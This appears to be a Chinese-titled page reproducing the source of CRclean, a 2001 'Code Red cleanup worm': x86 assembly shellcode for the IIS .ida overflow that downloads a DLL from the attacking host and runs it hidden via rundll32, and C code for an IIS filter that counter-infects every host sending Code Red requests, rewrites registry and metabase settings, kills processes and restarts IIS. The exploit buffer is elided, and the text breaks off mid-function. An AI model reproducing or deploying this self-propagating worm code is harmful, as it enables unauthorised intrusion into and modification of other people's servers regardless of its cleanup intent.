打微软补丁的一份代码收藏

打微软补丁的一份代码收藏

;

; CRclean.asm

; by Markus Kern <markus-kern@gmx.net>

; 06.08.2001

;

; downloads CRclean.dll from sender and executes it using rundll32.exe

; then calls ExitProcess() on success or sleeps forever on failure

;



.386p

.model flat

.code

assume fs:nothing



db 'GET /default.ida?---This-is-CRclean---Code-Red-cleanup-worm-'

db '--check-your-wwwroot-for-CRclean.dll---it-contains-zipped-so'

db 'urce---this-worm-does-not-spread-actively---if-you-see-this-'

db 'the-destination-host-is-infected-with-Code-Red--------------'

db '-%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685'

db '8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f'

db 'f%u0078%u0000%u00=a  HTTP/1.0',0Dh,0Ah

db 'Content-type: text/xml',0Ah

db 'Content-length: 0988',0Dh,0Ah,0Dh,0Ah



; execution starts here with slightly modified Code Red v1 code

; finds GetProcAddress and kernel32.dll base



	push  ebp

	mov  ebp, esp

	sub  esp, 218h

	push  ebx

	push  esi

	push  edi

	lea  edi, [ebp-218h]

	mov  ecx, 86h

	mov  eax, 0CCCCCCCCh

	rep  stosd

	mov  [ebp-190h], dword ptr 0

	lea  edi, [ebp-110h]

	mov  eax, dword ptr fs:0

	mov  [edi+8], eax

	mov  dword ptr fs:0, edi

	mov  dword ptr [ebp-110h], 0FFFFFFFFh

	mov  dword ptr [ebp-1A8h],77E00000h



RVA_1:

	cmp  dword ptr [ebp-190h], 0

	jnz  RVA_5

	mov  ecx, [ebp-1A8h]

	add  ecx, 10000h

	mov  [ebp-1A8h], ecx

	cmp  dword ptr [ebp-1A8h],78000000h

	jnz  short RVA_2

	mov  dword ptr [ebp-1A8h],0BFF00000h



RVA_2:

	mov  edx, [ebp-1A8h]

	xor  eax, eax

	mov  ax, [edx]

	cmp  eax, 5A4Dh

	jnz  RVA_1

	mov  ecx, [ebp-1A8h]

	mov  edx, [ecx+3Ch]

	mov  eax, [ebp-1A8h]

	xor  ecx, ecx

	mov  cx, [eax+edx]

	cmp  ecx, 4550h

	jnz  RVA_1

	mov  edx, [ebp-1A8h]

	mov  eax, [edx+3Ch]

	mov  ecx, [ebp-1A8h]

	mov  edx, [ecx+eax+78h]

	add  edx, [ebp-1A8h]

	mov  [ebp-1ACh], edx

	mov  eax, [ebp-1ACh]

	mov  ecx, [eax+0Ch]

	add  ecx, [ebp-1A8h]

	mov  [ebp-1B4h], ecx

	mov  edx, [ebp-1B4h]

	cmp  dword	ptr [edx], 4E52454Bh

	jnz  RVA_1

	mov  eax, [ebp-1B4h]

	cmp  dword	ptr [eax+4], 32334C45h

	jnz  RVA_1

	mov  ecx, [ebp-1A8h]

	mov  [ebp-1CCh], ecx

	mov  edx, [ebp-1ACh]

	mov  eax, [ebp-1A8h]

	add  eax, [edx+20h]

	mov  [ebp-1B4h], eax

	mov  dword ptr [ebp-1B8h], 0

	jmp  short RVA_4



RVA_3:

	mov  ecx, [ebp-1B8h]

	add  ecx, 1

	mov  [ebp-1B8h], ecx

	mov  edx, [ebp-1B4h]

	add  edx, 4

	mov  [ebp-1B4h], edx



RVA_4:

	mov  eax, [ebp-1ACh]

	mov  ecx, [ebp-1B8h]

	cmp  ecx, [eax+18h]

	jge  RVA_1

	mov  edx, [ebp-1B4h]

	mov  eax, [edx]

	mov  ecx, [ebp-1A8h]

	cmp  dword ptr [ecx+eax], 50746547h

	jnz  RVA_3

	mov  edx, [ebp-1B4h]

	mov  eax, [edx]

	mov  ecx, [ebp-1A8h]

	cmp  dword ptr [ecx+eax+4], 41636F72h

	jnz  RVA_3

	mov  edx, [ebp-1B8h]

	add  edx, [ebp-1B8h]

	add  edx, [ebp-1A8h]

	mov  eax, [ebp-1ACh]

	mov  ecx, [eax+24h]

	xor  eax, eax

	mov  ax, [edx+ecx]

	mov  [ebp-1B4h], eax

	mov  ecx, [ebp-1ACh]

	mov  edx, [ecx+10h]

	mov  eax, [ebp-1B4h]

	lea  ecx, [eax+edx-1]

	mov  [ebp-1B4h], ecx

	mov  edx, [ebp-1B4h]

	add  edx, [ebp-1B4h]

	add  edx, [ebp-1B4h]

	add  edx, [ebp-1B4h]

	add  edx, [ebp-1A8h]

	mov  eax, [ebp-1ACh]

	mov  ecx, [eax+1Ch]

	mov  edx, [edx+ecx]

	mov  [ebp-1B4h], edx

	mov  eax, [ebp-1B4h]

	add  eax, [ebp-1A8h]

	mov  [ebp-190h], eax

	jmp  RVA_1



RVA_5:

	lea  edi, [ebp-110h]

	mov  eax, [edi+8]

	mov  dword ptr fs:0, eax



; end of Code Red code



	call  GET_DATA_START



d1			db 'c:/CRclean.dll',0

d2			db 'http://123.123.123.123/CRclean.dll',0		; ip filled in by ISAPI filter

d3			db 'LoadLibraryA',0

d4			db 'urlmon.dll',0

d5			db 'GetFileAttributesA',0

d6			db 'URLDownloadToFileA',0

d7			db 'WinExec',0

d8			db 'rundll32 c:/CRclean.dll,Run',0

d9			db 'Sleep',0

d10			db 'ExitProcess',0



FilePath			equ 0

Url					equ d2-d1

LoadLibStr			equ d3-d1

UrlMonStr			equ d4-d1

GetFileAttrStr		equ d5-d1

URLDownloadStr		equ d6-d1

WinExecStr			equ d7-d1

RundllStr			equ d8-d1

SleepStr			equ d9-d1

ExitProcStr			equ d10-d1



GET_DATA_START:

	pop	esi						; start of our data



	; get address of GetFileAttributesA

	mov  edi, esi

	add  edi, GetFileAttrStr

	push  edi

	push  dword ptr [ebp-1CCh]				; kernel32.dll handle

	call  dword ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  SLEEP

	push  eax



	; get address of LoadLibraryA

	mov  edi, esi

	add  edi, LoadLibStr

	push  edi

	push  dword ptr [ebp-1CCh]

	call  dword	ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  SLEEP



	; load urlmon.dll

	mov  edi, esi

	add  edi, UrlMonStr

	push  edi

	call  eax								; call LoadLibraryA

	or  eax, eax

	jz  SLEEP



	; get address of URLDownloadToFileA

	mov  edi, esi

	add  edi, URLDownloadStr

	push  edi

	push  eax								; urlmon.dll handle

	call  dword ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  SLEEP

	mov  ebx, eax



DL_FILE:

	; check if file is already there

	pop  eax								; get GetFileAttributesA address

	push  eax

	mov  edi, esi

	add  edi, FilePath

	push  edi

	call  eax								; call GetFileAttributesA

	cmp  eax, 0FFFFFFFFh

	jne  SLEEP								; we've been here before, the dll is prolly preparing IIS restart

											; we sleep till we get terminated



	; call URLDownloadToFileA

	push  0

	push  0

	mov  edi, esi

	add  edi, FilePath

	push  edi

	mov  edi, esi

	add  edi, Url

	push  edi

	push  0

	call  ebx								; call URLDownloadToFileA



	; check if file made it to the disk

	pop  eax								; get GetFileAttributesA address

	push  eax

	mov  edi, esi

	add  edi, FilePath

	push  edi

	call  eax								; call GetFileAttributesA

	cmp  eax, 0FFFFFFFFh

	jne  DL_SUCCESS



	; if we just tried c: try d: now

	mov  edi, esi

	add  edi, FilePath

	cmp  byte ptr [edi], 'd'

	je  SLEEP								; neither c: nor d: did work



	; set drive letter to 'd'

	mov  byte ptr [edi], 'd'

	mov  edi, esi

	add  edi, RundllStr+9

	mov  byte ptr [edi], 'd'				; change Runddll string too

	jmp  DL_FILE





DL_SUCCESS:

	; get address of WinExec

	mov  edi, esi

	add  edi, WinExecStr

	push  edi

	push  dword ptr [ebp-1CCh]

	call  dword ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  SLEEP



	; call WinExec

	push  0									; SW_HIDE

	mov  edi, esi

	mov  edi, esi

	add  edi, RundllStr

	push  edi

	call  eax

	cmp  eax, 31

	jl  SLEEP



	; get address of ExitProcess

	mov  edi, esi

	add  edi, ExitProcStr

	push  edi

	push  dword ptr [ebp-1CCh]

	call  dword ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  SLEEP



	; call ExitProcess

	push  0

	call  eax								; terminate inetinfo.exe, on windows 2000 it will be

											; restarted but we get rid of all running Code Reds



SLEEP:

	; get address of Sleep

	mov  edi, esi

	add  edi, SleepStr

	push  edi

	push  dword ptr [ebp-1CCh]

	call  dword ptr [ebp-190h]				; call GetProcAddress

	or  eax, eax

	jz  FATAL_ERROR							; ok, we tried our best to save cpu cycles



	; call Sleep

	push  0FFFFFFFFh

	call  eax								; sleep forever



FATAL_ERROR:

	jmp  FATAL_ERROR



db		'end of file'



END



/*

*

* "The true object of all human life is play. Earth is a task garden; heaven is a playground." -- G.K. Chesterton, All Things Considered

*

* CRclean.c

* by Markus Kern <markus-kern@gmx.net>

* 06.08.2001

*

* if called by rundll32:

*		downloads and executes Q300972 patch from Microsoft

*		removes _original_ Code Red II backdoors

*		copies dll to wwwroot

*		adds dll to ISAPI filter list

*		restarts IIS

*

* if loaded into IIS:

*		removes itself from system on IIS shutdown if it's november 2001 or later

*		responds to every Code Red exploit attempt by closing the connection and infecting the attacking host

*

* the dll can be removed manually using "rundll32 CRclean.dll,Remove"

*

*/



#define INITGUID

#include <winsock.h>

#include <httpfilt.h>		// ISAPI

#include <iadmw.h>			// metabase



#define OUR_FILE_NAME "CRclean.dll"



#define EXPLOIT_URL_OFFSET 0x1B9

HANDLE hExploitMutex;

unsigned char ExploitCode[] = "<exploit code removed to save bandwidth and prevent script kiddie reuse>";



int IsWin2k = 1;

int NumberOfThreads;		// prevent clients from DoSing us



// urlmon.dll

HINSTANCE hUrlMonDll = NULL;

HRESULT (STDAPICALLTYPE *pURLDownloadToCacheFile)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID) = NULL;

// psapi.dll

HINSTANCE hPsApiDll = NULL;

BOOL (WINAPI *pEnumProcesses)(DWORD*,DWORD,DWORD*) = NULL;

BOOL (WINAPI *pEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD) = NULL;

DWORD (WINAPI *pGetModuleFileNameEx)(HANDLE,HMODULE,LPTSTR,DWORD) = NULL;



DWORD WINAPI InfectThread(void* pData);

void RemoveFilter();

int ApplyPatch();

void RemoveCRII();

void RestartIIS();

HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName);



// dll entry point, duh

BOOL WINAPI DllEntryPoint(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpvReserved)

{

	return TRUE;

}



// called by IIS on initialization

BOOL _export WINAPI GetFilterVersion(PHTTP_FILTER_VERSION pVer)

{

	pVer->dwFilterVersion = HTTP_FILTER_REVISION;

	lstrcpy(pVer->lpszFilterDesc,"CRclean ISAPI filter");

	pVer->dwFlags = SF_NOTIFY_PREPROC_HEADERS | SF_NOTIFY_ORDER_HIGH;



	NumberOfThreads = 0;



	// mutex to serialize access to exploit code and inet_ntoa() function

	hExploitMutex = CreateMutex(NULL,FALSE,NULL);



	// delete original copy of dll

	DeleteFile("c://"OUR_FILE_NAME);

	DeleteFile("d://"OUR_FILE_NAME);



	return TRUE;

}



// called by IIS on shutdown

BOOL _export WINAPI TerminateFilter(DWORD dwFlags)

{

	SYSTEMTIME st;



	// remove us from system if it's november 2001 or later

	GetSystemTime(&st);

	if(st.wYear > 2001 || st.wMonth >= 11)

		RemoveFilter();



	return TRUE;

}



// called by IIS for every http request

DWORD _export WINAPI HttpFilterProc(PHTTP_FILTER_CONTEXT pfc, DWORD notificationType, LPVOID pvNotification)

{

	char *buf;

	DWORD size,ThreadID;

	int i;



	if(notificationType == SF_NOTIFY_PREPROC_HEADERS) {

		// get url length

		size = 0;

		((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",NULL,&size);

		// no problem if that short

		if(size > 200) {

			// alloc buffer, MSDN says this is freeed automatically by IIS

			if((buf = (char*)pfc->AllocMem(pfc,size,0)) != 0) {

				// get url

				if(((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",buf,&size)) {

					// -200 because overflow only occurs with more than aprox 240 bytes after '?' delimiter

					for(i=0;i<(size-200)&&buf[i]!='?';i++);

					if(buf[i] == '?' && buf[i-4] == '.' &&

						(buf[i-3] == 'i' || buf[i-3] == 'I') &&

						(buf[i-2] == 'd' || buf[i-2] == 'D') &&

						(buf[i-1] == 'a' || buf[i-1] == 'A'))

					{

						// get client ip and run thread to infect client

						size = 32;

						if(pfc->GetServerVariable(pfc,"REMOTE_ADDR",buf,&size) && NumberOfThreads < 50) {

							NumberOfThreads++;

							CreateThread(0,512,InfectThread,(void*)inet_addr(buf),0,&ThreadID);

						}

						// disconnect client, sizeof(buf) is at least 200

						lstrcpy(buf,"HTTP/1.0 403 Access Forbidden/r/nServer: ");

						size = 64;

						pfc->GetServerVariable(pfc,"SERVER_SOFTWARE",buf+lstrlen(buf),&size);

						lstrcat(buf,"/r/nCRclean: rejected/r/n/r/n");

						size = lstrlen(buf);

						pfc->WriteClient(pfc,buf,&size,0);

						return SF_STATUS_REQ_FINISHED;

					}

				}

			}

		}

		pfc->AddResponseHeaders(pfc,"CRclean: passed/r/n",0);

	}

	return SF_STATUS_REQ_NEXT_NOTIFICATION;

}



// infects ip passed in pData

DWORD WINAPI InfectThread(void* pData)

{

	SOCKET Sock;

	SOCKADDR_IN Addr;

	int AddrSize;

	fd_set wfd;

	struct timeval tv;

	unsigned long nonblock;

	char *buf;



	Addr.sin_family = AF_INET;

	Addr.sin_port = htons(80);

	Addr.sin_addr.s_addr = (unsigned long)pData;

	if((Sock = socket(PF_INET,2,IPPROTO_TCP)) != INVALID_SOCKET) {

		// make socket non-blocking

		nonblock = 1;

		ioctlsocket(Sock,FIONBIO,&nonblock);

		// connect

		connect(Sock,(SOCKADDR*)&Addr,sizeof(Addr));

		if(WSAGetLastError() == WSAEWOULDBLOCK) {

			FD_ZERO(&wfd);

			FD_SET(Sock,&wfd);

			tv.tv_sec = 20;

			tv.tv_usec = 0;

			if(select(0,0,&wfd,0,&tv)) {

				// make socket blocking

				nonblock = 0;

				ioctlsocket(Sock,FIONBIO,&nonblock);

				// get local ip used for connection

				AddrSize = sizeof(Addr);

				if(getsockname(Sock,&Addr,&AddrSize) == 0) {

					WaitForSingleObject(hExploitMutex,INFINITE);

					if((buf = inet_ntoa(Addr.sin_addr)) != 0) {

						wsprintf(ExploitCode+EXPLOIT_URL_OFFSET,"http://%s/%s",buf,OUR_FILE_NAME);

						send(Sock,ExploitCode,sizeof(ExploitCode),0);

					}

					ReleaseMutex(hExploitMutex);

					Sleep(2000);

				}

			}

			closesocket(Sock);

		}

	}

	NumberOfThreads--;

	return 0;

}



// called by exploit code via rundll32.exe

// we're either in "c://"OUR_FILE_NAME or in "d://"OUR_FILE_NAME when this is called

void _export _stdcall Run(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)

{

	OSVERSIONINFO osvi;

	HKEY hKey;

	char *WebRootPath = NULL,*buf;

	char ModulePath[MAX_PATH];

	DWORD size;

	int i;



	// determine OS

	osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

	if(GetVersionEx(&osvi) && osvi.dwMajorVersion == 4)

		IsWin2k = 0;



	// load DLLs we need

	if((hUrlMonDll = LoadLibrary("urlmon.dll")) != 0) {

		pURLDownloadToCacheFile = (HRESULT (STDAPICALLTYPE*)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID))GetProcAddress(hUrlMonDll,"URLDownloadToCacheFileA");

	}

	// we don't have psapi.dll on NT thus FindProcess() won't work

	if((hPsApiDll = LoadLibrary("psapi.dll")) != 0) {

		pEnumProcesses = (BOOL (WINAPI *)(DWORD*,DWORD,DWORD*))GetProcAddress(hPsApiDll,"EnumProcesses");

		pEnumProcessModules = (BOOL (WINAPI *)(HANDLE,HMODULE*,DWORD,LPDWORD))GetProcAddress(hPsApiDll,"EnumProcessModules");

		pGetModuleFileNameEx = (DWORD (WINAPI *)(HANDLE,HMODULE,LPTSTR,DWORD))GetProcAddress(hPsApiDll,"GetModuleFileNameExA");

	}



	// patch system, in case this doesn't work our ISAPI filter will reject further Code Red exploit code (including our own)

	ApplyPatch();

	// remove backdoors created by Code Red II, won't hurt if we do this on NT too

	RemoveCRII();



	// get web root

	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {

		if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {

			if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {

				if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {

					for(i=0;i<size&&WebRootPath[i]!=',';i++);

					lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);

				}

			}

		}

		RegCloseKey(hKey);

	}

	// prepare for spreading if we've found the web root

	if(WebRootPath) {

		// copy us to webroot for distribution

		lstrcpy(ModulePath,"c://");

		lstrcat(ModulePath,OUR_FILE_NAME);

		if(!CopyFile(ModulePath,WebRootPath,TRUE)) {

			ModulePath[0] = 'e';

			if(!CopyFile(ModulePath,WebRootPath,TRUE))

				ModulePath[0] = 0;

		}

		if(ModulePath[0] != 0) {

			// add us to ISAPI filter list if copy was successful

			if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {

				if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {

					if((buf = (char*)LocalAlloc(0,size+lstrlen(WebRootPath)+16)) != 0) {

						if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {

							if(size <= 2) {

								lstrcpy(buf,WebRootPath);

							} else if(buf[size-2] == ',') {

								lstrcat(buf,WebRootPath);

							} else {

								lstrcat(buf,",");

								lstrcat(buf,WebRootPath);

							}

							RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);

						}

						LocalFree(buf);

					}

				} else {

					// RegQueryValueEx() failed, the value probably doesn't exist, we create it

					RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,WebRootPath,lstrlen(WebRootPath)+1);

				}

				RegCloseKey(hKey);

			}

		}

		LocalFree(WebRootPath);

	}



	// restart IIS to get rid of our own and any Code Red code still running in IIS's address space

	// IIS will load our ISAPI filter on restart

	RestartIIS();

	// unload DLLs before we leave

	if(hUrlMonDll)

		FreeLibrary(hUrlMonDll);

	if(hPsApiDll)

		FreeLibrary(hPsApiDll);

	return;

}



// what can I say? it's here because it wasn't much effort

void _export _stdcall Remove(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)

{

	RemoveFilter();

	if(MessageBox(0,"CRclean removed on request. You must restart IIS for the changes to take effect./r/n"

					"Reinstalling the entire system is strongly recommended!/r/n"

					"Do you want to restart IIS now?","Code Red cleanup worm",MB_YESNO|MB_SYSTEMMODAL) == IDYES)

	{

		RestartIIS();

	}

	return;

}



// removes us from ISAPI filter list

void RemoveFilter()

{

	HKEY hKey;

	char *WebRootPath = NULL,*buf,*p,*s;

	DWORD size;

	int i;



	// get web root

	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {

		if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {

			if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {

				if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {

					for(i=0;i<size&&WebRootPath[i]!=',';i++);

					lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);

				}

			}

		}

		RegCloseKey(hKey);

	}

	if(WebRootPath) {

		// remove us from IIS's ISAPI filter list

		if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {

			if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {

				if(size >= lstrlen(WebRootPath)) {	// can't be our string if shorter than WebRootPath

					if((buf = (char*)LocalAlloc(0,size+16)) != 0) {

						if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {

							// do a case insesitive compare

							CharLower(WebRootPath);

							CharLower(buf);

							// search for WebRootPath

							for(i=0;i<=size-lstrlen(WebRootPath);i++) {

								for(p=buf+i,s=WebRootPath;*s!=0&&*p!=0&&*p==*s;s++,p++);

								if(*s == 0) {	// match

									if(lstrlen(buf) == lstrlen(WebRootPath))

										buf[0] = 0;

									else if(i == 0)

										lstrcpy(buf,p+1);	// +1 for comma after WebRootPath

									else

										lstrcpy(buf+i-1,p); // -1 for comma before WebRootPath

									break;

								}

							}

							RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);

						}

						LocalFree(buf);

					}

				}

			}

			RegCloseKey(hKey);

		}

		// delete this file on next reboot

		MoveFileEx(WebRootPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);

		LocalFree(WebRootPath);

	}

	return;

}



// downloads Q300972 from microsoft and runs it

int ApplyPatch()

{

	STARTUPINFO si;

	PROCESS_INFORMATION pi;

	HANDLE hProc;

	LANGID LangID;

	char Url[256],Path[MAX_PATH];

	int i;



	LANGID NtLangID[13] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_DUTCH,LANG_FRENCH,LANG_GERMAN,LANG_HEBREW,

							LANG_JAPANESE,LANG_KOREAN,LANG_PORTUGUESE,LANG_SPANISH,LANG_SWEDISH,LANG_THAI };



	char NtLangStr[13][10] = { "CN/CHS","TW/CHT","AR/ARA","NL/NLD","FR/FRA","DE/DEU","HE/HEB",

								"JA/JPN","KO/KOR","PT-BR/ptb","ES/ESP","SV/SVE","TH/THA" };



	LANGID W2kLangID[22] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_CZECH,LANG_DANISH,LANG_DUTCH,LANG_FINNISH,

							LANG_FRENCH,LANG_GERMAN,LANG_GREEK,LANG_HEBREW,LANG_HUNGARIAN,LANG_ITALIAN,

							LANG_JAPANESE,LANG_KOREAN,LANG_NORWEGIAN,LANG_POLISH,LANG_PORTUGUESE,LANG_RUSSIAN,

							LANG_SPANISH,LANG_SWEDISH,LANG_TURKISH };



	char W2kLangStr[22][3] = { "cn","tw","ar","cs","da","nl","fi","fr","de","el","he","hu","it","ja","ko","no",

								"pl","pt","ru","es","sv","tr" };



	// prepare download url

	LangID = GetSystemDefaultLangID();

	lstrcpy(Url,"http://download.microsoft.com/download/");

	// win 2k

	if(IsWin2k) {

		lstrcat(Url,"win2000platform/patch/q300972/nt5/");

		for(i=0;i<22&&PRIMARYLANGID(LangID)!=W2kLangID[i];i++);

		if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)

			i++;

		if(i < 22)

			wsprintf(Url+lstrlen(Url),"%s/Q300972_W2k_SP3_x86_%s.exe",W2kLangStr[i],W2kLangStr[i]);

		else	// use US as default

			lstrcat(Url,"en-us/Q300972_W2K_SP3_x86_en.exe");

	// win nt

	} else {

		lstrcat(Url,"winntsp/patch/q300972/nt4/");

		for(i=0;i<13&&PRIMARYLANGID(LangID)!=NtLangID[i];i++);

		if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)

			i++;

		if(i < 13)

			lstrcat(Url,NtLangStr[i]);

		else	// use US as default

			lstrcat(Url,"en-us/");

		lstrcat(Url,"Q300972i.exe");

	}



	// download and execute patch

	if(pURLDownloadToCacheFile) {

		if(pURLDownloadToCacheFile(NULL,Url,Path,MAX_PATH,0,NULL) == 0) {

			for(i=0;i<sizeof(si);i++)

				((unsigned char*)&si)[i] = 0;

			si.cb = sizeof(si);

			// run patch

			if(CreateProcess(Path,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,π)) {

				if(IsWin2k) {

					// wait 3 mins for hotfix to install

					Sleep(3*60*1000);

					// patch either displays message box informing about successfull install or an error message

					// user can't see this message box, we kill hotfix.exe in either case

					// the process we created above cleans up all the temp files when hotfix.exe terminates

					if((hProc = FindProcess("hotfix.exe",TRUE)) != 0) {

						TerminateProcess(hProc,0);

						CloseHandle(hProc);

						// wait till we can delete downloaded file

						WaitForSingleObject(pi.hProcess,3*60*1000);

						DeleteFile(Path);

					}

				} else {

					// on NT we just let the hotfix run, luser will click OK eventually

					// restarting IIS is enough to activate the new idq.dll, no need to reboot

				}

				CloseHandle(pi.hProcess);

				return 0;

			}

		}

	}

	return 1;

}



// removes Code Red II backdoors

void RemoveCRII()

{

	DWORD size;

	HANDLE hProc;

	HKEY hKey;

	IMSAdminBaseW *Meta;

	METADATA_HANDLE hMetaKey;

	char Path[MAX_PATH];



	// search and destroy trojan explorer.exe

	if((hProc = FindProcess("c://explorer.exe",FALSE)) != 0) {

		TerminateProcess(hProc,0);

		WaitForSingleObject(hProc,10*1000);

		CloseHandle(hProc);

	}

	if((hProc = FindProcess("d://explorer.exe",FALSE)) != 0) {

		TerminateProcess(hProc,0);

		WaitForSingleObject(hProc,10*1000);

		CloseHandle(hProc);

	}



	// delete explorer trojan, need to remove readonly attribute for DeleteFile() to work

	SetFileAttributes("c://explorer.exe",FILE_ATTRIBUTE_NORMAL);

	DeleteFile("c://explorer.exe");

	SetFileAttributes("d://explorer.exe",FILE_ATTRIBUTE_NORMAL);

	DeleteFile("d://explorer.exe");



	// remove cmd.exe backdoors

	DeleteFile("c://inetpub//scripts//root.exe");

	DeleteFile("d://inetpub//scripts//root.exe");

	DeleteFile("c://progra~1//common~1//system//msadc//root.exe");

	DeleteFile("d://progra~1//common~1//system//msadc//root.exe");



	// reenable file protection

	// we probably need to reboot to activate the change, user will do this for us on next OS crash

	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows NT//CurrentVersion//Winlogon",0,KEY_SET_VALUE,&hKey) == 0) {

		size = 0;

		RegSetValueEx(hKey,"SFCDisable",0,REG_DWORD,(BYTE*)&size,sizeof(DWORD));

		RegCloseKey(hKey);

	}



	// clean up registry

	// turns out IIS copies new values under "Virtual Roots" into an internal thing called metabase

	// and restores changes of already present registry values from this metabase on restart

	// means we must delete /C and /D from the metabase

	// the /scripts and /msadc changes apparently never made it there and the corresponding registry values

	// have probably been restored by IIS after CRII's reboot

	// there're days I'm very glad I don't have to think the way Microsoft engineers do

	CoInitialize(NULL);

	if(CoCreateInstance(&CLSID_MSAdminBase,NULL,CLSCTX_ALL,&IID_IMSAdminBase,(void**)&Meta) == 0) {

		MultiByteToWideChar(CP_ACP,0,"/lm/w3svc/1/root",-1,Path,MAX_PATH/2);

		if(Meta->lpVtbl->OpenKey(Meta,METADATA_MASTER_ROOT_HANDLE,Path,METADATA_PERMISSION_WRITE,10000,&hMetaKey) == 0) {

			Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"C/x00/x00");	// unicode

			Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"D/x00/x00");

			Meta->lpVtbl->CloseKey(Meta,hMetaKey);

		}

		Meta->lpVtbl->Release(Meta);

	}

	CoUninitialize();



	// must do this to prevent IIS from copying it back into metabase on restart

	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE | KEY_SET_VALUE,&hKey) == 0) {

		RegDeleteValue(hKey,"/C");

		RegDeleteValue(hKey,"/D");

		RegCloseKey(hKey);

	}

	return;

}



// restarts IIS

void RestartIIS()

{

	STARTUPINFO si;

	PROCESS_INFORMATION pi;

	SC_HANDLE hManager,hSvc;

	SERVICE_STATUS SvcStat;

	int i;



	if(IsWin2k) {

		// neither "net stop w3svc" nor ControlService(SERVICE_CONTROL_STOP) seem to work on infected machines

		for(i=0;i<sizeof(si);i++)

			((unsigned char*)&si)[i] = 0;

		si.cb = sizeof(si);

		si.wShowWindow = SW_HIDE;	// don't scare the clueless

		si.dwFlags = STARTF_USESHOWWINDOW;

		CreateProcess(NULL,"iisreset /RESTART /TIMEOUT:30",NULL,NULL,FALSE,0,NULL,NULL,&si,π);

	} else {

		// we don't have iisreset.exe on NT

		if((hManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))) {

			if((hSvc = OpenService(hManager,"w3svc",SERVICE_STOP|SERVICE_START|SERVICE_QUERY_STATUS))) {

				// stop iis

				ControlService(hSvc,SERVICE_CONTROL_STOP,&SvcStat);

				// wait till shutdown completed

				ControlService(hSvc,SERVICE_CONTROL_INTERROGATE,&SvcStat);

				for(i=0;i<60&&SvcStat.dwCurrentState!=SERVICE_STOPPED;i++) {

					Sleep(1000);

					QueryServiceStatus(hSvc,&SvcStat);

				}

				// and restart it

				StartService(hSvc,0,NULL);

				CloseServiceHandle(hSvc);

			}

			CloseServiceHandle(hManager);

		}

	}

	return;

}



// searches process list for ProcessToFind

// caller is responsible for closing returned handle

HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName)

{

	DWORD ProcList[1024],size,msize;

	HANDLE hProc;

	HMODULE hMod;

	char Path[MAX_PATH];

	int i;



	// search for process

	if(pEnumProcesses && pEnumProcessModules && pGetModuleFileNameEx) {

		if(pEnumProcesses(ProcList,1024*sizeof(DWORD),&size))

			for(i=0;i<size/sizeof(DWORD);i++)

				if((hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,FALSE,ProcList[i])) != 0) {

					if(pEnumProcessModules(hProc,&hMod,sizeof(HMODULE),&msize))

						if(pGetModuleFileNameEx(hProc,hMod,Path,MAX_PATH))

							if(OnlyCompareFileName) {

